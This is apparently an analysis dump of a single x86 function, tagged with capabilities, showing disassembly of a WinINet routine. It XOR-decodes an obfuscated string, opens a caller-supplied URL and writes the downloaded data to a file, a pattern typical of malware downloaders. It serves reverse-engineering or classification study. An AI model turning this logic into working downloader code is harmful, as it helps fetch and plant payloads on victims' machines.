Function at 0x4029c0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2110
call fcn.00415e60
movups xmm0, xmmword [0x434424]
mov eax, dword [0x43445c]
xor ecx, ecx
cmp dword [0x445534], 2
movups xmmword [ebp - 0x58], xmm0
push ebx
movups xmm0, xmmword [0x434434]
push esi
push edi
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x20], eax
lea edi, [ecx + 4]
movups xmm0, xmmword [0x434444]
movups xmmword [ebp - 0x38], xmm0
movq xmm0, qword [0x434454]
movq qword [ebp - 0x28], xmm0
jl 0x402b30
movaps xmm4, xmmword [0x434550]
mov eax, 0x1f
movaps xmm3, xmmword [0x434580]
movaps xmm6, xmmword [str.2222]
movd xmm5, edi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x434570]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x58]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + ecx*2 - 0x58], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x434570]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x50]
pxor xmm1, xmm0
movq qword [ebp + ecx*2 - 0x50], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x402a40
cmp ecx, 0x1e
jge 0x402b58
nop dword [eax]
mov eax, 0x51eb851f
imul ecx
mov eax, 1
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
sub eax, esi
imul eax, eax, 0x32
add eax, ecx
xor word [ebp + ecx*2 - 0x58], ax
inc ecx
cmp ecx, 0x1e
jl 0x402b30
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
lea edx, [ecx + 2]
mov dword [ebp - 8], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402b73
sub ecx, edx
lea eax, [ebp - 0x58]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.004032f0
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
push 0
cmovae eax, dword [ebp - 0x1c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 8]
mov ebx, eax
cmp edx, 8
jb 0x402be5
mov ecx, dword [ebp - 0x1c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402bdb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402d6c
push edx
push ecx
call fcn.00415e4d
add esp, 8
xor ecx, ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 7
mov word [ebp - 0x1c], cx
test ebx, ebx
je 0x402c28
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0x10
jb 0x402c08
mov eax, dword [eax]
push 0
push 0x84000000
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x402c34
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], 0x10
jb 0x402c3f
mov eax, dword [eax]
push 1
push 0x40
push 0x20
push eax
lea ecx, [ebp - 0x110]
call fcn.00401cc0
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x104], 6
je 0x402cb0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0x110]
mov esi, 1
call fcn.00402690
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0x2000
lea eax, [ebp - 0x2110]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402d07
nop dword [eax + eax]
mov eax, dword [ebp - 4]
test eax, eax
je 0x402d07
push 0
push eax
lea eax, [ebp - 0x2110]
push eax
lea ecx, [ebp - 0x110]
call fcn.004040f0
lea eax, [ebp - 4]
push eax
push 0x2000
lea eax, [ebp - 0x2110]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402cd0
lea ecx, [ebp - 0x10c]
call fcn.00403480
test eax, eax
jne 0x402d4a
mov eax, dword [ebp - 0x110]
xor ecx, ecx
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0xd8], ecx
cmovne edi, ecx
or edi, dword [ebp + eax - 0x104]
and edi, 0x15
or edi, 2
mov dword [ebp + eax - 0x104], edi
mov eax, dword [ebp + eax - 0x100]
and eax, edi
jne 0x402d71
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0x110]
xor esi, esi
call fcn.00402690
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0041a2bf
test al, 4
je 0x402d7c
mov esi, str.ios_base::badbit_set
jmp 0x402d8b
test al, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x60]
push 1
push eax
call fcn.004037b0
add esp, 8
lea ecx, [ebp - 0x18]
push eax
push esi
call fcn.00402310
push 0x441ba8
lea eax, [ebp - 0x18]
push eax
call fcn.00416c40
int3